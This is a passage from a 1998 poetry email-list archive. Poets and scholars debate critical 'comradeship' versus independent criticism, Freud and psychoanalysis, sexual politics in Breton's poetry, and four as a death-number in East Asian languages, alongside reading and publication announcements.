If anything the spirit of PAX goes AGAINST movements, but promotes COMMUNICATION between individual poets. Besides, Louis Cabri has already noted that you are a movement within yourself: Gould promotes Spandrift, Spandrift promotes Blarnes, Blarnes promotes Spandrift promoting Gould . . . so there's a taint of hypocrisy in all this.

Also, my apologies to Jeff Derksen for saying he failed to address some comments of Ron's. As was pointed out to me, Ron's word was the last in that exchange.

- daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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334. Dale M Smith
O List-Master
Mon 9 Feb 1998

Please forgive my transgressions, for I have published from one of the many fierce debates catalogued in your archives. Forgive my diabolical and unsubstantiated outbursts, yay, surely the symptoms of a deranged character. Forgive me for pointing out that orthodox opinion on this list goes unchallenged, but that statements of heretical nature are reviled and torn into shreds. Forgive me for persevering where I am not welcome. Forgive me for making enemies of sheep and for blowing spit wads at the guardians of moral virtues. Forgive me for recognizing the contradicitons of values, where the subject-less superiority of the lang-poem is maintained by agressive egos who have invested much into the maintenance of their identities as morally conscious social poets. Forgive

my irascibility and my corruptive presence. Forgive me for not knowing my place. Forgive my bad manners. Forgive me for saying that the sacred realm of poetry is nothing more than a series of business transactions. Forgive me for questioning the thin facades of power. Forgive me for ignoring mine enemies'logic. Forgive my own reductive claims about the inferiority of the university: it is only inferior for poets (& o poets, how many of you will be granted permission to work within those walls? how many really want to?). Forgive me for saying, Let those without blemish cast the first stone. Forgive me for not letting the names of my friends go publicly condemneded in my presence, with only vile and jealous substantiations that resound with alarming emptiness. Forgive me for swimming with sharks and for disrupting the stupor of the community my enemies guard. Forgive me for not playing the game by your rules. And again, forgive me for publishing those email threads in which my magazine went publicly descried. For I have not sought to better my position, but to reveal the depth of contradiction at work in the mechanations of the poetic court. For my belief in the historical presence and reality of the poem grates against the social protocol of those who have turned poetry into mere language, wresting from it the emotional and vital power of an active intelligence. Yay, for we are all deep in the shadows of our own selfish progress, deep in the obscurities of our private wills. Forgive me, for those who crave power shall find it and those who crave poetry will make it. And from this conflict the rest of the world will lift its hind leg dog-like and piss as it has always done. But I humble myself now before you o master. For I see that my uncouth presence reveals how firmly fastened are your walls. I shall take my meat and bread in the forest and wait there, with Sir Henry and a merry band of revellers complete with lute and tabor. We'll light a fire, drink strong mead and wassail that graciousness that lets us live. Like all good politicians, ye have mastered the double talk of rhetoric. Language is truly a tool of the great.

Sir Dale

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335. Mark Wallace

Heather Fuller and Mark Wallace reading in NYC

Mon 9 Feb 1998

For those of you who live in New York City or who will be there this weekend, Heather Fuller and I will be reading there this Sunday, at the Zinc Bar. We'd be very happy to see you there.

Here's the full info:

Poetry Reading at the ZINC BAR

Sunday, Feb. 15th, 6:30 p.m.

HEATHER FULLER, author of PERHAPS THIS IS A RESCUE FANTASY

MARK WALLACE, author of NOTHING HAPPENED AND BESIDES I WASN'T THERE

THE Zinc Bar is located at 90 W. Houston St., near the corner of West Houston and LaGuardia. It's one flight down from street level, so be careful not to miss it.

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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336. **Henry Gould**
Re: Loner vs. Buddy System
Mon 9 Feb 1998

On Mon, 9 Feb 1998 09:46:58 -0500 daniel bouchard said:
>
>But what bugs me, Henry, is that you deliberately misread (or overread) a
>term like "mutual comradeship." Bad Henry, naughty and obdurate!
>
>(The "mutual" by the way I take from Kropotkin's MUTUAL AID, a book that
>debunks "survival of the fittest" (capitalism) and instead stresses, well,
>mutual aid among species (lower case-ism); and "comrade" I use in the
>literary sense Jennifer Moxley does, which is appropriate and endearing.)
>How you extracted "uncritical promotion" from my post is hardly worth
>addressing and I am only writing this because I like you, buddy.

Dan, I don't think I extracted anything from your poem. I asked you how "mutual comradeship" addresses the issue of uncritical nepotism. If you don't think this is worth addressing, we don't have much to talk about on this particular issue. Comradeship is one thing; a covenant which establishes justice is another. There is nothing without the poison of the law. Law and love are an inseca-pable mutuality. The law for workers in poetry is WHAT'S ON THE PAGE.

> *If anything the spirit of PAX goes AGAINST movements, but promotes COMMUNICATION between individual poets. Besides, Louis Cabri has already noted that you are a movement within yourself: Gould promotes Spandrift, Spandrift promotes Blarnes, Blarnes promotes Spandrift promoting Gould . . . so there's a taint of hypocrisy in all this.*

These alter-guys also point out the limitations & lacunae of Gould. It's a 2-way street. Of course there's no ultimate Loner Genius. That's bull! But I see an element of ethics involved in the individual writer standing by his or her word. Ethics as well as sheer INTEREST. I don't deny that great art is made by groups of people working closely together. Or that critics themselves learn from each other in groups & apprenticeships & shared vocabulary. All I've said from the beginning is that my experience of making poetry involves solitude, privacy, individuality, and the search for authenticity and originality. I'm not bragging - I think this is the average experience of it. & I simply extend this practice to the art of writing criticism - & I think it's a great advantage - if it can be done - in weighing what a piece of writing accomplishes irrespective of the ambitions of its author. I'm sorry list if I repeat myself, but I feel CHALLENGED to defend my position. I agree with you, Dan, that a peaceful mutuality between poets is often extremely productive and leads to new plateaus of development. This has happened in my life continually - I don't live in a cave making poems out of bearshit, believe it or not. But in the end the bottom line of mutual respect between artists lies ON THE PAGE, not in the buddy system. & if I don't like your work I'm going to tell you so. This is basic ethics of "mutuality". - Henry Gould

↑ Index

337. **David Zauhar**

Re: Freud'd truck

Mon 9 Feb 1998

On Sun, 8 Feb 1998, Tenney Nathanson wrote:

> *and this is exactly what i don't like about psychoanalysis--the position of moral superiority it assumes (must assume by virtue of its self-definition) over all other philosophies, while, at the same time, insisting it is not a 'philosophy' and is therefore above the sort of criticism that philosophies*
>
> *must endure. psychoanalytic theorists have seemed to me to be eurocentric to*
> *an extreme that would be laughable if the discipline weren't so powerfully entrenched.*
> *klaus theweleit, who writes so brilliantly on male fantasies, has done a rather pretty study of freud's own desires in his slim volume, _object-choice_.*
> *sticking my head out of the hole in which i've been working...*
> *kali*
>
> *Hi Kali.*

> *(pog goes public?)*
>
> *One interesting avenue here: a lot of the sharpest critiques (I mean--in my opinion--smartest, not most stinging) of Freud have been written by using Freud's own analytic techniques on Freud's text (and not to show that they're impoverished techniques, but the reverse): Kristeva and Irigaray, esp. Like: Freud tells us somewhere (dream book) that if the analysand says about a dream "I dunno who that woman in the dream was, but one thing I DO know is that it was NOT my mother," we can read "that was my mother." So Kristeva: when Freud insists that the only unambivalent relationship in human intercourse is between*
> *mother and infant son, we can safely read..... And then this becomes part of a terrific essay, "Place Names" in /Desire in Language/. There's also Sam Weber and Neil Hertz, in this vein.*
>
> *see you around the neighborhood,*
>
> *Tenney*

In addition to these works, I'd add Marie Balmary's book, translated into English as _Psychoanalyzing Psychoanalysis: Freud and the Hidden Fault of the Father_ (Johns Hopkins, 1982. trans by Ned Lukacher). The French title, by the way, sounds a lot cooler: _L'homme aux statues: freud et la faute cache du pere_.

Dave Zauhar

↑ Index

338. **d powell**
Re: 44
Mon 9 Feb 1998

Reply to: Re: 44

In Japanese, the word "shi" is both "four" and "death" as well. Many superstitious Japanese replace "four" with a nonsense word when giving addresses, phone numbers, etc. that contain a four.

Tea cups are sold in sets of five, and if one cup is broken, the whole set is thrown out--at least, this is a custom that still is observed by some Japanese.

Doug
==========
D A Powell [redacted]
==========

Schuchat Simon wrote:
>Not just in some, but the major dialects of Chinese (Cantonese,
>Shanghainese, Min-nan hua & Northern Mandarin) "4" is a homophone for
>death, but the heavy taboo avoidance unlucky aura is strongest among the
>Cantonese. But 4 is not always unlucky in Chinese, viz the Buddha's 4
>Noble Truths or Deng Xiaoping's 4 Cardinal Principals or Zhou Enlai's 4
>modernizations.
>
>A Shanghainese or Taiwanese would pronounce "44" more or less as "si si si"
>(four ten four/death death death) since those dialects don't clearly
>distinguish between "si" and "shi"
>
>Repeating the 4, in some schools of fengshui, would negate it. (To
>return like a dog to my vomit, that was called "negating the negation" in
>Stalinist dialectics.)
>
>Being a lyric poet after 40 is pretty difficult, unless you're going to
>be a dirty old man ala Yeats.
>
>According to Confucius, "at 40 I was no longer confused"
>
>(15 I became intent on study, 30 I was established, 40 no longer
>confused, 50 knew the will of heaven, 60 obeyed the will of heaven, at 70
>I could do whatever I wanted because my desires no longer were
>inappropriate -- Analects II.4)
>
>
>RFC822 header
>----------
>
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 301 invoked from network); 7 Feb 1998 20:22:56 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 7 Feb 1998 20:22:56 -0000
>Received: (qmail 19443 invoked from network); 7 Feb 1998 20:22:38 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 7 Feb 1998 20:22:38 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 28142012 for
> [redacted]; Sat, 7 Feb 1998 15:22:35 -0500

>Received: (qmail 27465 invoked from network); 7 Feb 1998 01:13:55 -0000
>Received: from unknown (HELO mail.ait.org.tw) (203.75.224.6) by
> listserv.acsu.buffalo.edu with SMTP; 7 Feb 1998 01:13:55 -0000
>Received: (from [redacted]) by mail.ait.org.tw (8.7.5/8.7.3) id
> JAA23059; Sat, 7 Feb 1998 09:18:24 +0800 (CST)
>MIME-Version: 1.0
>Content-Type: TEXT/PLAIN; charset=US-ASCII
>Message-ID: <[redacted]>
>Date: Sat, 7 Feb 1998 09:18:24 +0800
>Reply-To: UB Poetics discussion group <[redacted]>
>Sender: UB Poetics discussion group <[redacted]>
>From: Schuchat Simon <[redacted]>
>Subject: Re: 44
>To: [redacted]
>In-Reply-To: <l0310280501d089215da7@[160.94.198.170]>
>

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339. **dbkk**
Re: freud's trick
Mon 9 Feb 1998

> *Date: Sat, 7 Feb 1998 19:48:46 EST*
> *From: Joe Brennan <[redacted]>*
> *Subject: Re: freud's trick*
>
> *i've read irigaray, paying special attention to specuulum of the other woman, and to be truthful i wasn't particularly impressed. in that work her rhetoric is very intense, as intense as the time in which it was produced. for me irigaray will only have lasting value to the extent that she's able to contribute a new vision of human sexuality & desire. her remarks have nothing to do with psychoanalysis, but only address the cultural mileau in which it developed.*

Now, I love Freud--because he's so dark and sticky and he added the word "un-canny" to my vocabulary. But, how could one possibly consider Freud and not consider the "cultural mileau" in which his theories were developed? One should never forget that his wonderfully twisted and sicko model of the human psyche is just that--a model.

My office is at New College, and the other day when I was in the kitchen slicing my daily orange, I heard this woman's voice booming from down the hallway, "What people forget is that Freud destroyed an entire generation!" I copied that into the journal. Received wisdom.

Dodie

↑ Index

340. KENT JOHNSON
A ship called Comrade
Mon 9 Feb 1998

On Feb 9, Henry Gould, replying to Dan Bouchard:

> *But in the end the bottom line of mutual respect between artists lies ON THE PAGE, not in the buddy system. & if I don't like your work I'm going to tell you so. This is basic ethics of "mutuality". - Henry Gould*

May I propose that this nicely condenses and closes Henry's protracted and snit-causing argument? Now if everyone can agree that community and comradeship can be _deepened_ by mutual, vigorous and public critique among friends... And this list-space might be a good testing ground of that: For example, Mark Wallace challenges himself to write a review that is critical of Steve Evans's ethereal, Ecole de Paris criticism (he might say, for example, that Steve has proven to us that he knows one hell of a lot about Hegel and French cinema, but how on earth does this _really_ relate to the poetry he likes), giving Steve a chance to show that he takes Mark's critique in Hegelian spirit by publishing one of Mark's lectures as an ILS pamphlet (something which, of course, everyone now wants to have), followed by a searing, leave-em-at-a-loss riposte as appendix from Jordan Davis; Dan Bouchard, who edited the fine and late Mass. Ave. might writie a review, reflecting seriously on whether the poems by Susan Schultz and Lisa Jarnot were really representative of their best work, and then reflecting in turn on whether the buddy-system had something to do with him publishing them instead of the poems of someone not already in the mutual back-scratching name-loop; Henry himself might take the embarrassingly fawning review he recently wrote of fellow Providencer Jennifer Moxley and re-write it in true indie-crit style, offering that perhaps this review was so obsequious that it might even be taken as an unintended parody of everything that is wrong with buddy-crit, and so on.

The possibilities are endless. These would be just a few quick suggestions. But it would be fantastic if everyone could go after those they admire (and I admire all those I have mentioned above) without anyone getting pissed off! All hands on board the ship called Comrade, its nuclear weapons polished and ready for use, if necessary, to slow the spread of weapons of mass destruction! (This last sentence has no intended relationship to what precedes it, but in the manner of poetry's accidental accretions perhaps it may. May have a relationship, that is.)

Kent

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341. Sylvester Pollet
Japanese Characters
Mon 9 Feb 1998

I need the Japanese characters for the numbers 1-10. Can anyone suggest a source for downloading the font for those? I work on a MAC in Word & Page-maker, etc. Is it possible I already have them somewhere in the computer? etc. etc. Thanks. Sylvester

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342. Maria Damon
query
Mon 9 Feb 1998

---

i'm far from my library alas, and from good bookstores. can anyone quick give me a citation for robt duncan's "song of the borderguard"? muchos apprecia-dos. --md

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343. Sylvester Pollet
Japanese characters
Mon 9 Feb 1998

I just found a way to get them, I think, from Shareware.com--thanks, & I'll let anyone know the details if there's interest. S.

↑ Index

344. Maria Damon
Re: freud's trick
Mon 9 Feb 1998

At 10:07 AM -0800 2/9/98, [redacted] wrote:
>>Date: Sat, 7 Feb 1998 19:48:46 EST
>>From: Joe Brennan <[redacted]>
>>Subject: Re: freud's trick
>
>>i've read irigaray, paying special attention to
>>specuulum of the other woman, and to be truthful i wasn't particularly
>>impressed. in that work her rhetoric is very intense, as intense as the time
>>in which it was produced. for me irigaray will only have lasting value
>>to the
>>extent that she's able to contribute a new vision of human sexuality &
>>desire. her remarks have nothing to do with psychoanalysis, but only

address
>>the cultural mileau in which it developed.
>
>Now, I love Freud--because he's so dark and sticky and he added the word
>"uncanny" to my vocabulary. But, how could one possibly consider Freud and
>not consider the "cultural mileau" in which his theories were developed?
>One should never forget that his wonderfully twisted and sicko model of the
>human psyche is just that--a model.
>
>My office is at New College, and the other day when I was in the kitchen
>slicing my daily orange, I heard this woman's voice booming from down the
>hallway, "What people forget is that Freud destroyed an entire generation!"
>I copied that into the journal. Received wisdom.
>
>Dodie

great post, dodie. now, my personal fondness for freud stems from the dumbest and most ethnocentric of reasons --he was jewish and enjoyed being jewish. most of his clientele was not simply the viennese bougeoisie, but the *jewish* viennese bourgeoisie (mostly women, too). the photos of him fleeing nazified vienna for london in his eighties are heartbreaking. sure his vision was limited and patriarchal, why wouldn't it be? you don't have to swallow something wholesale in order to find it productive, moving, interesting, suggestive. i'd say the nazis destroyed an entire generation --several in fact --about three. but "freud destroyed" has a nicer rhyme.

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345. David Zauhar
CFS: _Time-Sense_, a Gertrude Stein quarterly (fwd)
Mon 9 Feb 1998

Thought this might be of interest to a few Stein scholars/fans, etc.

David Zauhar
University of Illinois at Chicago

"My religion makes no sense
and does not help me
therefore I pursue it."

--Anne Carson

---------- Forwarded message ----------
Date: Mon, 9 Feb 1998 09:07:09 -0800 (PST)
From: Sonja Streuber <[redacted]>

To: MLA Grads <[redacted]>
Cc: [redacted], [redacted],
Stafford <[redacted]>
Subject: CFS: _Time-Sense_, a Gertrude Stein quarterly

****
TIME-SENSE
****

an electronic quarterly on the art of Gertrude Stein

invites submissions, both critical and creative, in written, visual, and aural media.

Recent Stein criticism has addressed such issues as her postmodern disjunctive style, representation and the body, exile and bio/geography, and Stein's connection with the other arts. Some criticism has tried to reconstruct her texts, reading them from the point of view of queer, ethnic, and theological studies. Artists have set her words to other words, to visual art, to music, and to performance. In other words, the vastly expanding field of Stein studies today ranges from textual and psychoanalytic observations to cultural studies and artistic experiments.

In this context, an ongoing examination of how we make sense of Stein in our time is due. _Time-Sense_ welcomes written submissions from all theoretical, critical, and creative approaches, and artistic submissions in all reproducible media.

****
*** Please ***
****

- send written submissions (including file copy on 3.5 disk) in regular MLA-format to Sonja Streuber, Department of English, One Shields Avenue, University of California, Davis, CA 95616 (electronic inquiries welcome at [redacted]) and

- send visual/ audio submissions as .WAV, .AU, .MOV, or quicktime files to Stafford, 1261 Howard Street, 4th Floor, San Francisco, CA 94103-2711 (electronic inquiries welcome at [redacted]).

****
Annual Deadlines:
****

for the March issue--February 1.
for the June issue--May 1.

for the September issue--August 1.
for the December issue--November 1.

****

Sonja H. Streuber [redacted] Department of English *
University of California * Davis, CA 95616

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346. **MAYHEW**
Freud
Mon 9 Feb 1998

I had thought Freud pretty much discredited, both ethically and scientifically, except in the academic humanities where it doesn't matter whether a theory is valid, as long as it serves the purposes of an argument. In Crews' debate with the analysts in the NYRB the psychoanalysts basically concede all his important points, but still persist in their devotion to the Master.

For anyone thinking Freud was ethical a look at his correspondence with Fliess should be instructive.

As for theories of desire Freud got his from literature in the first place. I think we have lots of them, e.g. in Petrarch.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

"The only thing that prevents us from giving ourselves up to multiple vices is that so many of us devote ourselves to a single one."

↑ Index

347. **pritchpa**
Re: Incorrect
Mon 9 Feb 1998

I tend to agree with Mark. There's no such thing, really, as an uncomplicated, unmediated sexual response, whether in a poem or in a bed. We may think that in the throes of passion we're throwing propriety out the window (bye-bye!) but usually we're just substituting one set of responses - or subtle agreements - for another. I don't mean to sound reductionist here, as though we're simply a bunch of automatons engaged in baboon-sex or whatever. But I do think that in

general we're a lot less free than we typically imagine ourselves to be. The transparent liberating gesture is a simplicity arrived at only through great labor.

Breton's poem is brimming with linguistic invention and brio - but it still posits woman as vessel, as inspiratrix, as the passive receptacle of the Other, a repository denied agency - and this is where metaphysics and erotics run headlong into each other smack! ker-pow! Breton's litany - like so much of his stuff - has, to me, a distinctly and carefully programmatic feel, not automatic at all, but exactly plotted. Notice how much of the imagery conflates his wife with nature - nature with a capital N as the ultimate tragic invention, perhaps, of the objectifying erotic male gaze, all those raped virgin acres of "The Gift Outright," etc. Breton's language takes this unnamed woman and makes of her a monument to worship, make love to, whatever - it transforms her miraculously into everything, it seems, but what she is. But maybe that's all he - or anyone - can do.

And lest anyone think I'm a cold fish, I'll confess that my own love poems are drowning in nature imagery too. Romantic love, which is a cultural refinement - a behavioral evolution as well as an ethical one - just seems so damned "natural." Well, maybe it is at that. Though I tend to think not. Rather, it's a case where culture has improved on the existing, "natural" state of affairs, even though it feels like love is a Return to some originary, primal state. So that the cultural becomes the natural. And the source of much confusion.

Making it up as I go along,
Patrick Pritchett

From: Mark Prejsnar
To: [redacted]
Subject: Re: Incorrect
Date: Monday, February 09, 1998 8:32AM

Kent, about the Breton poem. (And, indeed, about feminist analysis in culture in general, in relation to most things going on in our culture...)

And, for that matter, this is also a point about poetry, I think...

I have trouble with your unmodulated response to the Breton poem and its (pretty complex) resonances on the level of sexual politix...*Why* does your appreciation of the thing as a fairly compelling piece of poetry preclude there being something (as you put it) *wrong* with it?? As I suggested in a post a number of days ago, its being vibrant and compelling as poetry simply makes it more the case (not less) that it's disturbing and perturbing. (I prefer these words to "wrong").

As for what it is that's disturbing and perturbing...Well, that has to do with the isolation of the woman as an isolated icon, reduced to erotic attributes devoid of agency, that can be typified (but does not entirely derive from) the petrarchian poetry mode..and the way this links to various modes of consciouness and behavior that rob people in general of agency and dignity, but which are particularly built into patriarchal cultural patterns.

A poem can have plenty "right" about it, but still also have plenty "wrong" about it. Poetry (like reality, with which it has much in common) often has a number of dimensions at once!

Mark P.

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348. Miekal And
Re: Announcement: JENNIFER
Mon 9 Feb 1998

Steven Marks wrote:

I'm still not
> sure what critical tools to use in discussing these entities (perhaps
> entirely new ones), but I am much intrigued by the shapes and thoughts and
> desires that coalesce out of the swirl of words and commands.

the jennifer julu interchanges were to my liking, one of the most inviting subtexts passing thru the poetic list, & I too was hot to publish these works thru Xexoxial, but being years behind on commitments Im gratified that Chris has transmogrified alan's digital yearnspeak to the world of books & paper.

(now if only I can get Chris to trade me for a few xe goodies...

</miekal>

↑ Index

349. Christopher W. Alexander
Announcement: JENNIFER
Mon 9 Feb 1998

---

nominative press collective announces...

Alan Sondheim's JENNIFER

"Think of Jennifer-Julu, Julu-Jennifer as system resonances, interferences or viruses occasioned by intervention. Their psychoanalytics tangles on and off the Net – as strange attractors, they shape

discursive formations, nodes of theoretical focus. Similar to "deconstruction" (Derrida's "Letter to a Japanese Friend"), Jennifer and Julu fissure as contested sites, split or sputter across applications, networks, texts. Subject and body are at stake, problematized through the specificities of unfocused language . . . " (Alan Sondheim)

copies are approx. 50 pp., printed on acid-free paper and hand-sewn Japanese-style between black coverstock. $8 / $12 institutional.

to order, contact me via email or @ the address given below. apologies for not having a sample up on our homepage (as we generally do) — I'll try to put one together by the end of the week.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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350. p. durgin
t r i p w i r e
Mon 9 Feb 1998

Has anyone else out there heard of a new mag. called "Tripwire"? I'm looking to obtain a copy. . .perhaps someone's seen it or has a contact address? Thanks -- Patrick F. Durgin

`
`
`
` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

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351. Henry Gould
a ship called comrade
Mon 9 Feb 1998

Now, listers, I would ask you to turn to page ### in your EPC archives, as Comrade Kent suggested, and re-read carefully the Moxley review by Gould he describes. "Fawning" is the word; uncritical or sub-critical it surely is. Now go out & buy the book if it's not out of print yet. Gould never claimed to be much of a critic himself. That's why he's looking so hard for one.

Kent, can we call the ship "Sophie" instead? I'll explain some day. She sails in a window, in an apartment not far from the Neva, in Petersburg... - Prince Gyenri

↑ Index

352. KENT JOHNSON
Sex Objects
Mon 9 Feb 1998

It's nice to finally find something to disagree on with Mark P and Pat P. But guys, I just don't see Breton's poem as sexist in any way. That the addressee has no "agency" does not seem a good argument: Should everyone in a poem have "agency"? And besides, I don't see Breton as having much macho agency in this poem at all--why, he's reduced to a kind of primal glossolalia, the femme doing jiu-jitsu flips on the poor man's capacity to think "like a man" and bring her under the power and control of his reason.

It may be that you're right, Pat, that sexual expression is predominantly a cultural construction, but I don't think so. Each culture has its own rituals and oddities to be sure, but in sex, at bottom (though here I want to say that I don't consider myself an expert, because I've only had sex once--when I was nineteen), all cultures exhibit _animal_ behavior. I don't mean "animal" like when one gets excited and just goes crazy-- I mean in the sense of ritualistically objectifying the other, of focusing on the desired one without giving a hoot for his or her "agency"; I mean fixating on body parts, and showing the other your own "parts", whether the showing be a blue, bulging throat, a crimson rump shoved into the air, or a love poem full of surrealist images.

Anyway, speaking of the animal kingdom, I did just get something from Eliot Weinberger apropos this discussion-- a wonderful little essay on the poetry of Sappho in the context of zebra finches, Australian bush turkeys, Archbold bowerbirds, guppies, cichlids, cockroaches, aphids, bonolos, echidnas, crocodiles, and other creatures great and small doing their poignant best to have sex with others of their kind. It is titled "Sex Objects," and it begins with a quote

from a Poetry Flash review of Guy Davenport's _7 Greeks_: "For those who object to sexual objectification, Sappho may present problems."

If anyone would like to see this, I'd be happy to forward
back-channel. A great read.

Kent

↑ Index

353. Maryrose Larkin
Re: address query
Mon 9 Feb 1998

Carolyn Koo (editor of no roses) may be reached at [redacted]

Maryrose Larkin

↑ Index

354. Christopher W. Alexander
Announcement: JENNIFER
Mon 9 Feb 1998

---

nominative press collective announces...

Alan Sondheim's JENNIFER

"Think of Jennifer-Julu, Julu-Jennifer as system
resonances, interferences or viruses occasioned
by intervention. Their psychoanalytics tangles on
and off the Net – as strange attractors, they shape
discursive formations, nodes of theoretical focus.
Similar to "deconstruction" (Derrida's "Letter to
a Japanese Friend"), Jennifer and Julu fissure as
contested sites, split or sputter across applications,
networks, texts. Subject and body are at stake,
problematized through the specificities of
unfocused language . . . " (Alan Sondheim)

copies are approx. 50 pp., printed on acid-free
paper and hand-sewn Japanese-style between
black coverstock. $8 / $12 institutional.

to order, contact me via email or @ the address
given below. apologies for not having a sample
up on our homepage (as we generally do) – I'll
try to put one together by the end of the week.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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355. Bob Grotjohn
Re: 44
Mon 9 Feb 1998

In Korea, at least when I lived there, buildings did not have fourth floors. Well, they had them, but they were numbered five. It was explained to me that four signified death (chuk ul sa--deathly four, or, maybe four, signifying death), though the Korean words for "four" (both of them--sa and nyet)are not the same as the word for "death," at least not the one that I know (chuk um). Perhaps the four/death equation has some relation to Chinese having been the written language of Korea for many hundreds of years, though the Chinese words always (or almost always, at least) had Korean pronunciations, which is why the phonetic match may not be true.

But now, on further research (my wife looked in a dictionary for me--a good place to go when thinking about what a word might mean, I guess). The Korean word for death based on the Chinese is "sa-mang," and the "chuk ul sa" above may very well be using the "sa" of "sa-mang," which indeed does sound like the "sa" for four. So, there you go.

--
Bob Grotjohn

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356. Christopher W. Alexander
Re: fwd query
Mon 9 Feb 1998

Maria – oddly enough, I rec'd exactly the same
message (ad literam) the same day. anyone else?
I thought it was just Henry fooling around (!).

there must be (there must be) a book that indexes
poems by content, sort of like one of those books

of jokes & quotations used in speeches etc. Any
reference librarians out there?

best, Chris

> *hi all, i received the below; can anyone help? thanks; md*
>
> *X-From_ :* [redacted] *Mon Feb 2 19:40 CST 1998*
> *From: "Jamie Phillips" <*[redacted]*>*
> *To: Maria Damon <*[redacted]*>*
> *Subject:*
> *Date: Mon, 2 Feb 1998 19:40:09 -0600*
> *MIME-Version: 1.0*
> *X-Priority: 3*
> *X-MSMail-Priority: Normal*
> *X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3*
>
> *Hello My name is jamie Phillips i was looking for something on the line of Volenteers and Angles in a Poem i Work in a Nursing Home and had a 16 yr old Girl who was a Volenteer and she was the Best in the world !! was tragicly Killed in a Auto accident and i wanted a Poem to read in Honor of Her just curious do you know of anything like that ?*

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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357. Miekal And
Da Slander Con and mYth
Mon 9 Feb 1998

---

david bromige wrote:
>
> (my attorneys).

> Dale, another : speaking things out context, > Neilsen tells me re-print postings this List your
> magazine, permission the authors presumably, the
master told me this is the list-protocol). TruFals? David

Just to go on record that I, Amendant Hardiker have been a proponent of creative plagiarism & appropriation since the international festival of plagerism (sic) in 1988 at which point I officially denounced the use of copyright.

swearby, Amendant Hardiker

↑ Index

358. William Burmeister Prod
Surf music
Mon 9 Feb 1998

Although your world wonders me
With your majestic superior cackling hen
Your people I do not understand
So to you I wish to put an end
And you'll never hear surf music again

-Jimi Hendrix, "Third stone from the sun"

Disclaimer: The word "hen" in this context shall not be construed as referring to any person, living or otherwise, or name of person heretofore construed as construed nor shall any individual, singularity, sexual object, critic, marginalized poet, or person claim ownership of said word as an apellation for the sole purpose of claiming damages to said name for the abuse of the same or penalties shall be administered and the penalties administered shall be deemed stiff indeed.

-Free Willy

↑ Index

359. Joe Ahearn
Re: freud's trick
Mon 9 Feb 1998

In the best Buddhist tradition, I'll say that I am hardly in a position to instruct anyone. My practices of sitting and writing are more than adequate to reinforce my claim to ordinary understanding of ordinary things.

If you are looking for texts, see my previous post to the list.

For Dylan, see the album DESIRE.

And, yes, Robert Johnson's aesthetic is scarier than mine. I never wrote, after all:

> Me and the Devil walkin' side by side.
> Gonna beat my woman till I'm satisfied.

For a look at Johnson, see the recent complete Robert Johnson on (I think it is) Atlantic. The set is in any case extremely available, includes all the songs

Johnson recorded, and contains complete biographical information and the text of the complete lyrics.

You're right that one shouldn't confuse an aesthetic for a theory. An aesthetic is preferable.

At 06:14 PM 2/8/98 EST, you wrote:
>Well Joe, on this list I'm not surprised at any of the whiffs some folks seem
>to inhale. I've never heard of Buddhism being reduced to a theory, but I'm am
>after all eurocentric thru & thru -- as is everyone else on this net.
>However, if you have some textual citations, or if you are yourself a
>practicing buddhist who's managed to cross the cultural boundry that Whorf
>declares is impossible to cross, I'm willing to take instruction. Ditto for
>Dylan & Johnson. One shouldn't confuse an aesthetic for a theory. I also see
>no reason why Johnson's express of desire should be any scarier than yours.
>
>joe brennan
>
>

Joe Ahearn

_____

[redacted]

↑ Index

360. **Joe Ahearn**
Re: freud's trick
Mon 9 Feb 1998

> *What you or I choose to embrace in our respective searches isn't germane to the discussion, except that as you don't have the experience as to what's valuable in freudian analysis, you're left to critiques of matters that practically speaking are not meaningful to any discussion of it.*
>
> *Joe*

This is the nut of ONE of my problems with Freudianism.

After all, Joe, why should you assume to judge the validity of anyone's experience, even mine? And yes, there are others besides you who have experienced Freud at depth. And who disagree with what you say here.

Joe Ahearn

_____

[redacted]

↑ Index

361. **Joe Ahearn**
Re: freud's trick
Mon 9 Feb 1998

Dear Joe,

Your reference to Pound is spot on. I have been stepping around Mr. EP for a very long time now. He is still the Modernist of choice for me. I can't apologize for him, I find much of what he did deplorable, but I greatly admire the Cantos.

I also prefer Mr. Freud to Mr. Jung and to many of the current maifestations of psychiatry. But I AM tired of stepping around him. I guess this makes me a neo-Poundian, not a neo-Freudian (my admiration for Mr. Lacan nothwithstanding).

At 06:52 PM 2/8/98 EST, you wrote:
>Joe
>
>You don't have to step around Freud's failings any more than modernists have
>to apologize for the brutality of Pound, who has a hell of a lot more to
>answer for. What's interesting in Freud is what seems to interest you. As
>far as liking Lacan is concerned, Lacan is so freudian that for a long time he
>was the only commentator who seemed to understand him; one simply can't
>separate Lacan from Freud except in the extensions of freudian thought he
was
>able to master. As Lacan points out, if you don't understand Freud, you can't
>understand him.
>
>Joe
>
>

Joe Ahearn

_____
[redacted]

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362. **Safdie Joseph**
Re: last week at Small Press Traffic
Mon 9 Feb 1998

